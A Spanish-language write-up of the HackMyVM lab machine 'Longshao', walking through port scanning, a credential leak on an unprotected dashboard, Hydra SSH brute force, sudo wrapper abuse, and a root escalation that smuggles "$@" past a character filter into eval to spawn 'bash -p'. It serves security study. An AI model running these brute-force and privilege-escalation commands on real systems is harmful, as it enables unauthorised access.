cd ~/blog

~/writeups/hmv/149-longshao.md

149 - Longshao

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Broken Access Control con exposición de credenciales SSHFuerza bruta SSH por contraseña débilAbuso de sudo check_parser --debugInyección de argumentos mediante eval en script sudo Privesc
hackmyvm.eu/machines/machine.php?vm=Longshao

~4 min de lectura


Reconocimiento

Comenzamos identificando la dirección IP asignada a la máquina víctima dentro de la red local:

❯ arp-scan --interface=wlo1 --localnet | grep PCS
192.168.3.161	08:00:27:d7:ab:55	PCS Systemtechnik GmbH

La dirección MAC corresponde a una interfaz de VirtualBox, por lo que fijamos 192.168.3.161 como objetivo.

Enumeración de servicios

Lanzamos un barrido de todos los puertos TCP. La opción -p- abarca los 65 535 puertos, -sS realiza un escaneo SYN, --min-rate 5000 establece una tasa mínima de 5000 sondas por segundo, -n desactiva la resolución DNS y -Pn omite el descubrimiento previo al asumir que el host está activo. Por último, -oG guarda el resultado en formato grepable para poder procesarlo con facilidad:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.3.161
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-07 01:18 -0300
Nmap scan report for 192.168.3.161
Host is up (0.00038s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:D7:AB:55 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.64 seconds

Solo encontramos SSH en el puerto 22 y HTTP en el 80. Realizamos un segundo escaneo limitado a esos puertos con -p 22,80. La combinación -sCV ejecuta los scripts predeterminados de Nmap (-sC) y activa la detección de versiones (-sV), mientras que -oN guarda el resultado en el formato normal de Nmap:

❯ nmap -sCV -Pn -p 22,80 -oN 02-targeted.txt 192.168.3.161
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-07 01:18 -0300
Nmap scan report for 192.168.3.161
Host is up (0.00025s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.3 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.67 ((Unix))
|_http-server-header: Apache/2.4.67 (Unix)
|_http-title: Maze \xE5\x86\x85\xE9\x83\xA8\xE7\xAE\xA1\xE7\x90\x86\xE7\xB3\xBB\xE7\xBB\x9F - \xE7\x99\xBB\xE5\xBD\x95

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds

El servidor web utiliza Apache y presenta una aplicación llamada Maze Internal Management System. Como todavía no disponemos de credenciales para SSH, centramos la enumeración en el puerto 80.

Enumeración web

Enumeramos archivos y rutas comunes con Gobuster:

❯ gobuster dir -u 'http://192.168.3.161' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html -r
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.3.161
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/wh01s17/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,txt,html
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 200) [Size: 2574]
dashboard.php        (Status: 200) [Size: 1572]
server-status        (Status: 403) [Size: 316]
Progress: 882180 / 882180 (100.00%)
===============================================================
Finished
===============================================================

index.php muestra un formulario de autenticación:

Sin embargo, Gobuster también descubre dashboard.php y el servidor responde con estado 200. Al solicitar esa ruta directamente comprobamos que el panel interno no valida que exista una sesión autenticada:

El panel contiene un aviso operativo que expone en texto claro las credenciales SSH baolong:jinhua. La versión traducida de la misma página permite leer el mensaje con mayor claridad:

Acceso inicial mediante SSH

Comprobamos las credenciales filtradas contra el servicio SSH:

❯ ssh baolong@192.168.3.161
baolong@192.168.3.161's password: jinhua
              _
__      _____| | ___ ___  _ __ ___   ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V  V /  __/ | (_| (_) | | | | | |  __/
  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

baolong@longshao:~$

La autenticación funciona y obtenemos una sesión interactiva como baolong, desde la que recuperamos la flag de usuario. A continuación recopilamos información básica del sistema y de los servicios en escucha:

baolong@longshao:~$ id; hostname; whoami; uname -a; cat /etc/os-release; ss -tuln
uid=1000(baolong) gid=1000(baolong) groups=1000(baolong)
longshao
baolong
Linux longshao 7.0.10-0-stable #1-Alpine SMP PREEMPT_DYNAMIC 2026-05-23 11:50:19 x86_64 Linux
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.24.0_alpha20260127
PRETTY_NAME="Alpine Linux edge"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
Netid  State   Recv-Q  Send-Q     Local Address:Port     Peer Address:Port
tcp    LISTEN  0       128              0.0.0.0:22            0.0.0.0:*
tcp    LISTEN  0       511                    *:80                  *:*
tcp    LISTEN  0       128                 [::]:22               [::]:*

La máquina ejecuta Alpine Linux y, aparte de los servicios ya identificados, no presenta otros puertos locales en escucha.

Enumeración local como baolong

Revisamos los usuarios del sistema que disponen de una shell válida:

baolong@longshao:~$ grep -E '/(ba)?sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
baolong:x:1000:1000::/home/baolong:/bin/bash
chaojibaolong:x:1001:1001::/home/chaojibaolong:/bin/bash
chaojiwudilong:x:1002:1002::/home/chaojiwudilong:/bin/bash

Además de nuestra cuenta aparecen chaojibaolong y chaojiwudilong. Durante la revisión del sistema encontramos también un binario personalizado en /opt/internal:

baolong@longshao:/opt/internal$ ls -l
total 16
-rwxr-x---    1 root     chaojibaolong     14152 May 28 11:08 parser_core

parser_core pertenece a root, pero solo puede ejecutarlo su propietario o un miembro del grupo chaojibaolong. Como ese nombre coincide con uno de los usuarios locales, comprobamos si la cuenta utiliza una contraseña débil mediante un ataque de diccionario contra SSH:

❯ hydra -l chaojibaolong -P ~/Documents/wordlists/rockyou.txt -t 4 192.168.3.161 ssh
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak
...
[22][ssh] host: 192.168.3.161   login: chaojibaolong   password: love123
...

Hydra identifica la contraseña love123. La validamos iniciando una nueva sesión SSH:

❯ ssh chaojibaolong@192.168.3.161
chaojibaolong@192.168.3.161's password: love123
              _
__      _____| | ___ ___  _ __ ___   ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V  V /  __/ | (_| (_) | | | | | |  __/
  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

chaojibaolong@longshao:~$

Movimiento lateral a chaojiwudilong

Desde la cuenta chaojibaolong, consultamos los comandos permitidos mediante sudo:

chaojibaolong@longshao:~$ sudo -l
Matching Defaults entries for chaojibaolong on longshao:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for chaojibaolong:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User chaojibaolong may run the following commands on longshao:
    (ALL : ALL) NOPASSWD: /usr/local/bin/check_parser

La regla permite ejecutar /usr/local/bin/check_parser como cualquier usuario, incluido root, sin proporcionar contraseña. Para entender el comportamiento del analizador al que llega este wrapper, revisamos las cadenas legibles de parser_core:

chaojibaolong@longshao:~$ strings /opt/internal/parser_core
...
[!] Security Violation: Core parser must retain eUID 0.
[!] Parameter Error: Invalid cluster argument count.
[!] Compliance Error: Only *.log files are authorized.
[!] Path Restriction: Access denied.
=================================================
  ChaoJiBaoLong Log Analyser - Security Core v3
[!] Error: Target log file not found.
[*] DevSecOps Emergency Notice: Switching context...
[+] Analysis completed successfully.
--debug
.log
/tmp/
chaojiwudilong
/bin/su
[*] Reading log file...
...

Las cadenas revelan las condiciones relevantes del programa: exige conservar un EUID de 0, acepta archivos con extensión .log dentro de /tmp, reconoce la opción --debug y contiene una ruta de cambio de contexto hacia chaojiwudilong mediante /bin/su.

Podemos activar esa ruta de emergencia proporcionando un nombre válido por formato y ubicación, pero cuyo archivo no exista:

chaojibaolong@longshao:~$ sudo /usr/local/bin/check_parser /tmp/nonexistent.log --debug
=================================================
  ChaoJiBaoLong Log Analyser - Security Core v3
=================================================
[!] Error: Target log file not found.
[*] DevSecOps Emergency Notice: Switching context...
chaojiwudilong@longshao:~$

El wrapper se ejecuta mediante sudo, así que el analizador conserva los privilegios necesarios para invocar su sin solicitar la contraseña del usuario de destino. Como resultado obtenemos una shell como chaojiwudilong.

Escalada de privilegios mediante eval

Consultamos de nuevo los permisos de sudo, esta vez desde el contexto de chaojiwudilong:

chaojiwudilong@longshao:~$ sudo -l
Matching Defaults entries for chaojiwudilong on longshao:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for chaojiwudilong:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User chaojiwudilong may run the following commands on longshao:
    (root) NOPASSWD: /usr/local/bin/a.sh

Podemos ejecutar /usr/local/bin/a.sh como root. Revisamos su contenido y permisos:

chaojiwudilong@longshao:~$ cat /usr/local/bin/a.sh
PATH=/usr/bin

cd /tmp

read CMD < <(head -n1 | tr -d "[A-Za-z0-9/]")
eval "$CMD"

chaojiwudilong@longshao:~$ ls -l /usr/local/bin/a.sh
-rwxr-xr-x    1 root     root            82 May 28 11:52 /usr/local/bin/a.sh

La vulnerabilidad surge de combinar los argumentos posicionales del script con una entrada controlada por el usuario y evaluarla posteriormente mediante eval. El proceso ocurre de la siguiente manera:

  1. Ejecutamos el script pasando /bin/bash y -p como argumentos. Dentro de a.sh, esos valores quedan almacenados como $1 y $2; el filtro de tr no los examina ni los modifica.
  2. El comando head -n1 espera una línea por la entrada estándar. Introducimos "$@", donde $@ es una variable especial de Bash que representa todos los argumentos recibidos por el script.
  3. tr -d "[A-Za-z0-9/]" elimina letras, números y barras de esa línea. Como "$@" solo contiene comillas, el signo $ y @, atraviesa el filtro sin cambios y se guarda literalmente en CMD.
  4. eval "$CMD" vuelve a interpretar el contenido de CMD como código de shell. En esta segunda interpretación, "$@" se expande a los argumentos originales: /bin/bash -p.

La transformación puede resumirse así:

Argumentos de a.sh:  $1=/bin/bash    $2=-p
Entrada por stdin:   "$@"
Después de tr:       "$@"
Después de eval:     /bin/bash -p

El filtro nunca recibe directamente la cadena /bin/bash -p; solo procesa la referencia indirecta "$@". Como a.sh se está ejecutando mediante sudo, el nuevo proceso de Bash hereda los privilegios de root:

chaojiwudilong@longshao:~$ sudo /usr/local/bin/a.sh /bin/bash -p
"$@"
longshao:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
longshao:/tmp# whoami
root

La opción -p indica a Bash que conserve los privilegios efectivos heredados. Las salidas de id y whoami confirman que la escalada ha funcionado; recuperamos la flag final y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados